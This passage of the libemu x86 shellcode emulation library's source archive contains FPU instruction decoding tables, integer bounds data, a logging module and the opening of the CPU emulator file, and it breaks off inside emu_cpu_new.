INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST6|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST7|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMP, "fucomp", AM_REG|REG_ST0|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMP, "fucomp", AM_REG|REG_ST1|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMP, "fucomp", AM_REG|REG_ST2|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMP, "fucomp", AM_REG|REG_ST3|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMP, "fucomp", AM_REG|REG_ST4|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMP, "fucomp", AM_REG|REG_ST5|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMP, "fucomp", AM_REG|REG_ST6|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMP, "fucomp", AM_REG|REG_ST7|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; INST inst_table_fpu_de[72] = { { INSTRUCTION_TYPE_FIADD, "fiadd", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FIMUL, "fimul", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FICOM, "ficom", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FICOMP, "ficomp", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FISUB, "fisub", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FISUBR, "fisubr", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FIDIV, "fidiv", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FIDIVR, "fidivr", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST1|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST2|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST3|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST4|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST5|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST6|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST7|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST1|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST2|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST3|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST4|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST5|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST6|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST7|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMPP, "fcompp", FLAGS_NONE|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBRP, "fsubrp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBRP, "fsubrp", AM_REG|REG_ST1|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBRP, "fsubrp", AM_REG|REG_ST2|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBRP, "fsubrp", AM_REG|REG_ST3|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBRP, "fsubrp", AM_REG|REG_ST4|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBRP, "fsubrp", AM_REG|REG_ST5|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBRP, "fsubrp", AM_REG|REG_ST6|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBRP, "fsubrp", AM_REG|REG_ST7|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST1|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST2|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST3|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST4|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST5|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST6|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST7|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVRP, "fdivrp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVRP, "fdivrp", AM_REG|REG_ST1|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVRP, "fdivrp", AM_REG|REG_ST2|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVRP, "fdivrp", AM_REG|REG_ST3|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVRP, "fdivrp", AM_REG|REG_ST4|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVRP, "fdivrp", AM_REG|REG_ST5|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVRP, "fdivrp", AM_REG|REG_ST6|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVRP, "fdivrp", AM_REG|REG_ST7|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST1|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST2|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST3|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST4|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST5|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST6|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST7|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, }; INST inst_table_fpu_df[72] = { { INSTRUCTION_TYPE_FILD, "fild", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, // fisttp: IA-32 2004 { INSTRUCTION_TYPE_FISTTP, "fisttp", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FIST, "fist", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FISTP, "fistp", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FPU, "fbld", AM_E|OT_t|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FILD, "fild", AM_E|OT_t|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FPU, "fbstp", AM_E|OT_t|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FISTP, "fistp", AM_E|OT_t|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, // ffreep undocumented!! { INSTRUCTION_TYPE_FFREEP, "ffreep", AM_REG|REG_ST0|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREEP, "ffreep", AM_REG|REG_ST1|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREEP, "ffreep", AM_REG|REG_ST2|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREEP, "ffreep", AM_REG|REG_ST3|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREEP, "ffreep", AM_REG|REG_ST4|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREEP, "ffreep", AM_REG|REG_ST5|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREEP, "ffreep", AM_REG|REG_ST6|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREEP, "ffreep", AM_REG|REG_ST7|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fstsw", FLAGS_NONE|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMIP, "fcomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMIP, "fcomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMIP, "fcomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMIP, "fcomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMIP, "fcomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMIP, "fcomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMIP, "fcomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMIP, "fcomip", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // Table of FPU instruction tables /* * These tables are accessed by the following way: * * INST *fpuinst = inst_table4[opcode - 0xd8][index]; * where index is determined by the MODRM byte. * */ INST * inst_table4[8] = { inst_table_fpu_d8, inst_table_fpu_d9, inst_table_fpu_da, inst_table_fpu_db, inst_table_fpu_dc, inst_table_fpu_dd, inst_table_fpu_de, inst_table_fpu_df, }; libemu-0.2.0+git20120122+564/src/emu_cpu_data.c0000644000175300017530000000571211706767213017431 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include "emu/emu_cpu_data.h" /** * int type min/max for signed/unsigned int to 32bits size * * access is * max_inittype_border[bits/8][signed|unsigned][min|max] * * where signed/min is 0 * and unsigned/max is 1 */ int64_t max_inttype_borders[][2][2] = { { {0, 0}, {0, 0}, }, { {MIN_INT8, MAX_INT8}, {MIN_UINT8, MAX_UINT8}, }, { {MIN_INT16, MAX_INT16}, {MIN_UINT16, MAX_UINT16}, }, { {0, 0}, {0, 0}, }, { {MIN_INT32, MAX_INT32}, {MIN_UINT32, MAX_UINT32}, } }; libemu-0.2.0+git20120122+564/src/emu_log.c0000644000175300017530000000500511706767213016425 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include #include "emu/emu.h" #include "emu/emu_log.h" struct emu_logging { enum emu_log_level loglevel; emu_log_logcb logcb; }; struct emu_logging *emu_log_new(void) { struct emu_logging *el = (struct emu_logging *)malloc(sizeof(struct emu_logging)); if( el == NULL ) { return NULL; } memset(el, 0, sizeof(struct emu_logging)); el->logcb = emu_log_default_logcb; return el; } void emu_log_free(struct emu_logging *el) { free(el); } void emu_log_level_set(struct emu_logging *el, enum emu_log_level level) { el->loglevel = level; } void emu_log(struct emu *e, enum emu_log_level level, const char *format, ...) { struct emu_logging *el = emu_logging_get(e); if ( el->loglevel == EMU_LOG_NONE ) return; if ( el->loglevel < level ) return; va_list ap; char *message; va_start(ap, format); int va = vasprintf(&message, format, ap); va_end(ap); if (va == -1) message = strdup("failed to allocate memory in vasprintf\n"); el->logcb(e, level, message); free(message); } void emu_log_set_logcb(struct emu_logging *el, emu_log_logcb logcb) { el->logcb = logcb; } void emu_log_default_logcb(struct emu *e, enum emu_log_level level, const char *msg) { const char *lev[] = {"none","\033[32;1minfo\033[0m","\033[31;1mdebug\033[0m"}; fprintf(stdout,"[emu 0x%p %s ] ",(void *)e, lev[level]); fprintf(stdout,"%s", msg); } libemu-0.2.0+git20120122+564/src/emu_cpu.c0000644000175300017530000005161711706767213016445 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include #include #include "../config.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #include "emu/emu.h" #include "emu/emu_log.h" static const char *regm[] = { "eax", "ecx", "edx", "ebx", "esp", "ebp", "esi", "edi" }; static uint8_t scalem[] = { 1, 2, 4, 8 }; /* 0 1 2 3 4 5 6 7 */ const char *eflagm[] = { "CF", " ", "PF", " " , "AF" , " ", "ZF", "SF", "TF", "IF", "DF", "OF" , "IOPL", "IOPL", "NT", " ", "RF", "VM", "AC", "VIF", "RIP" , "ID" , " ", " ", " ", " ", " ", " ", " ", " ", " ", " "}; static uint16_t prefix_map[0x100]; #include "emu/emu_cpu_itables.h" static void init_prefix_map(void) { prefix_map[0x26] = PREFIX_ES_OVR; prefix_map[0x2e] = PREFIX_CS_OVR; prefix_map[0x36] = PREFIX_SS_OVR; prefix_map[0x3e] = PREFIX_DS_OVR; prefix_map[0x64] = PREFIX_FS_OVR; prefix_map[0x65] = PREFIX_GS_OVR; prefix_map[0x66] = PREFIX_OPSIZE; prefix_map[0x67] = PREFIX_ADSIZE; prefix_map[0xf0] = PREFIX_LOCK; prefix_map[0xf2] = PREFIX_F2; prefix_map[0xf3] = PREFIX_F3; } struct emu_cpu *emu_cpu_new(struct emu *e) { struct emu_cpu *c = (struct emu_cpu *)malloc(sizeof(struct emu_cpu)); if( c == NULL ) { return NULL; } memset((void *)c, 0, 